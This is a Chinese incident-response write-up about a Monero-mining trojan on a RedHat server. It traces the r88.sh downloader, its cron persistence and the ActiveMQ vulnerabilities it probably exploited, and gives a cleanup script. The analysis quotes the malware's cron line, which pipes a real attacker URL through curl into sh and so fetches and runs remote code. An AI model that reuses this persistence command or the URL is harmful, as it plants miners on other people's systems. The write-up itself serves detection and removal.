近期接到客户反映,其机房有一台RedHat服务器很卡,导致很多服务响应速度很慢的情况。通过远程到客户机器,发现一个进程占据700%多CPU的使用率。通过分析,定性为是一起针对“门罗币”的挖矿木马入侵事件。本文记录处理该事件的关键过程以及对该挖矿木马核心代码进行的分析,方便做事件响应的同行们碰到同家族类型木马后可以快速查杀,定性威胁事件。
0×01 木马行为与查杀过程 主要行为木马以r88.sh作为downloader首先控制服务器,通过判断当前账户的权限是否为root来进行下一步的操作,若为root则在目录/var/spool/cron/root和/var/spool/cron/crontabs/root下写计划任务”*/5 * * * * curl -sL https://x.co/6nPMR | sh”,其中这个短链接还原后为https://xmr.enjoytopic.tk/12/r88.sh。若为非root账户,则不写计划任务。接着均会执行下载运行rootv2.sh或lowerv2.sh(基于当前账户是否为root来选择下载脚本)等一系列的操作。
木马的挖矿组件bashd和bashe在系统中执行后,毫不掩饰地就开始挖矿,CPU直接就占据好几百,简直粗暴。是不是应该考虑下根据机器的当前运行状态来“人性化挖矿”呢?
简单的进程保护行为为了防被杀后还能继续挖矿,其通过写入定时任务的方式来实现简单的进程保护,通过一定时间间隔使用curl与wget远程下载shell脚本程序执行,该脚本的功能会执行本地路径下已存在的挖矿程序,若不存在则会重新下载挖矿程序执行。
其中该木马在多个路径都写入了定时任务来实现维持访问,包括:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前两个位置直接就在r88.sh这个文件中暴露了出来:
要清除该木马需要清除三个位置所有的定时任务,要不然该木马还会死灰复燃,重新被启动挖矿。
所幸该木马并没有感染传播的蠕虫属性,猜测是攻击者直接通过一般漏洞来进行的无差别攻击植入的挖矿downloader。经过对服务器进行渗透测试,确实发现了Apache ActiveMQ Fileserver远程代码执行漏洞(CVE-2016-3088)与ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企业在上线服务之前最好还是先让安全从业人员先进行安全评估加固之后会更加安全一些。
木马查杀1)尝试杀掉bashd与bashe进程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh与r88.sh这些shell进程
2)清除掉/tmp目录下木马释放的文件:/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等
3)清除3个位置的定时任务:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d
对应的自动查杀脚本如下:
#!/bin/bash for ((i=1;i>0;i++)) do ps -ef | grep "/tmp/bashd -p bashd" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "/tmp/bashe -p bashd" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/root.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/r88.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/rootv2.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/lower.sh" | grep -v grep | awk '{print $2}' | xargs kill ps -ef | grep "bash /tmp/lowerv2.sh" | grep -v grep | awk '{print $2}' | xargs kill rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root done 0×02 木马核心代码分析 木马整体编写逻辑该木马使用Linux系统的shell脚本编写Downloader,使用curl与wget命令发起网络请求下载木马的其他组件,虽然代码可被轻易分析,但是编写成本和门槛降低,这也是当前恶意代码使用脚本语言编写的一个趋势。